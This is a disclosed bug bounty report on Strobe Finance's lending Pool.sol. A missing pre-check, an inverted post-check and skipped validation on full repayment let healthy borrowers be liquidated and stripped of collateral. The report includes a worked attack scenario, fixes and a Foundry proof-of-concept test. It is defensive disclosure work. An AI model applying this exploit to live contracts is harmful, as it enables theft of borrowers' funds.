Status DataClose notification

Strobe Finance Disclosed Report

Healthy borrowers can be liquidated and have collateral + bonus seized

Created date
Aug 12 2025

Target

https://github.com/hackenproof-public/strobe_dd

Vulnerability Details

Vulnerability details

The liquidation flow in Pool.sol is missing the fundamental “must be liquidatable” precondition and, instead, applies a post-condition that is inverted and can be bypassed entirely. In plain terms: the contract lets a liquidator target a user who is still healthy, repay their debt, and walk away with the user’s collateral plus the liquidation bonus.

The call to liquidation routes through Pool.liquidate(...). After transferring the repayment and computing the collateral to seize, the function calls a helper that is intended to validate the post-state:

// Overcollateralized is defined as: collateral > required
if (data.collateralValue > data.collateralRequired) {
    revert Errors.InvalidLiquidation();
}

This check is inverted relative to the goal. A correct liquidation should ensure the position is not undercollateralized after the action (i.e., collateralValue ≥ required). Here, the code reverts if the position becomes healthy, and allows keeping it unhealthy or exactly on the edge.

Worse, the same helper returns early and performs no checks if the user ends up with zero debt:

if (!userHasDebt(user)) {
    return;
}

A liquidator who fully repays the victim’s debt avoids the only post-check entirely. There is also no pre-check anywhere in liquidate(...) that requires the target to be undercollateralized before seizure. The combination of “no pre-check” and “skip post-check on full repay” is what makes liquidating healthy users possible.

For completeness, liquidation is additionally gated by reserveEnabled, which can disable risk-resolution (repay/withdraw/liquidate) when a reserve is disabled. This is a secondary design issue, but it can make dangerous states linger.

Impact & attack scenario

Consider a typical setup from the tests: Token A as collateral (LTV 50%, liquidation threshold 80%, bonus 20%) priced at $50, Token B as debt priced at $100 (18 decimals). Alice deposits 100 A ($5,000) and borrows 22.5 B ($2,250). She is healthy: her threshold-adjusted collateral ($2,500) is above her debt ($2,250).

A malicious liquidator (Bob) can fully repay Alice’s $2,250 of debt while she is healthy. Because the code skips the post-check when the user’s debt becomes zero, the transaction succeeds. The protocol then seizes collateral valued at the repayment times (1 + bonus). With a 20% bonus, the seizure equals (2,250 / 50) × 1.20 = 54 A. Those tokens are transferred from Alice’s deposit to Bob’s reward account. Alice is left with 46 A and no debt; Bob’s gross gain is 20% of the repaid debt, taken directly from Alice’s equity.

This is not an edge case. Any healthy borrower with sufficient collateral relative to debt can be targeted this way. The liquidation bonus is paid out of the borrower’s collateral; it is not minted by the protocol. The vulnerability therefore enables systematic extraction of user collateral from healthy positions.

Recommendations

The goal is to restore standard liquidation invariants: liquidations should only be permitted when a user is actually undercollateralized, and any liquidation should improve the position’s health (or stay within a configured close factor).

  • Enforce a pre-condition that the target is undercollateralized before any seizure. Use the liquidation threshold in the check. If the account is healthy, revert before touching state.
  • Replace the inverted post-condition. After seizing collateral, ensure the position is not undercollateralized (collateralValue ≥ required). Do not allow leaving the user worse or still undercollateralized. Importantly, this check must run even when the user’s debt becomes zero; remove the early return that skips validation when userHasDebt == false.
  • Consider introducing a close factor to bound how much debt can be repaid, and thus how much collateral can be seized, in a single transaction. This is a common safety valve that prevents over-aggressive liquidations and reduces one-tx griefing.
  • Do not gate liquidation/repay/withdraw by reserveEnabled. These operations should remain available even when a reserve is disabled; use “exists” checks instead so risk can be resolved in emergencies.

Validation steps

I added here a simple PoC which proves the issue. The PoC can be added in the Pool.t.sol and should work by calling forge test --match-test testCanLiquidateHealthyPositionByFullRepay -vv . Note on existing tests: testCannotLiquidateHealthyPositions only checks that a partial liquidation which would leave the user healthy reverts. It does not cover the “full-repay skips the check” path and therefore misses the vulnerability.

function testCanLiquidateHealthyPositionByFullRepay() public {
        // Keep timestamps simple to avoid interest accrual
        vm.warp(0);

        // Setup: Alice deposits 100 Token A as collateral, Bob deposits Token B as liquidity
        setupWithAliceAndBobDeposit();

        // Alice borrows 22.5 Token B. With Token A @ $50 and LTV 50%, she is healthy:
        // Collateral (LTV-adjusted) = 100 * $50 * 0.5 = $2,500 > Debt $2,250
        mockPoolWrapper.borrow(
            MockConstants.ALICE_HASH, MockConstants.ALICE_ADDRESS, address(tokenB), 22500000000000000000
        );

        // Bob (liquidator) repays the FULL debt while Alice is healthy
        vm.startPrank(MockConstants.BOB_EVM_ADDRESS);
        tokenB.mint(MockConstants.BOB_EVM_ADDRESS, 22500000000000000000);
        tokenB.approve(address(mockPoolWrapper.pool()), 22500000000000000000);

        // Prices unchanged (Token A $50, Token B $100), liquidation bonus for A is 20%
        // Seized collateral = (2250 / 50) * 1.20 = 54 Token A
        pool.liquidate(
            /* liquidator       = */ MockConstants.BOB_EVM_ADDRESS,
            /* rewardRecipient  = */ MockConstants.BOB_ADDRESS,
            /* liquidatee       = */ MockConstants.ALICE_ADDRESS,
            /* debtToken        = */ address(tokenB),
            /* amount           = */ 22500000000000000000,
            /* collateralToken  = */ address(tokenA)
        );
        vm.stopPrank();

        // Bob receives 54 Token A as collateral with bonus
        DataTypes.XrplAccountHash bobHash = DataTypes.bytesToXrplAccountHash(MockConstants.BOB_ADDRESS);
        uint256 bobCollateral = mockPoolWrapper.pool().getUserDepositForToken(address(tokenA), bobHash);
        assertEq(bobCollateral, 54e18, "Bob should receive 54 Token A");

        // Alice's collateral reduced accordingly: 100 - 54 = 46 Token A
        uint256 aliceCollateral = mockPoolWrapper.pool().getUserDepositForToken(address(tokenA), MockConstants.ALICE_HASH);
        assertEq(aliceCollateral, 46e18, "Alice collateral should reduce to 46 Token A");

        // Alice's debt fully repaid
        uint256 aliceDebt = mockPoolWrapper.pool().getUserDebtForToken(address(tokenB), MockConstants.ALICE_HASH);
        assertEq(aliceDebt, 0, "Alice debt should be zero after full repay liquidation");
    }

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty$5,692
Visibilitypartially
VulnerabilityOther
Participants (5)
company admin
author
triage team
triage team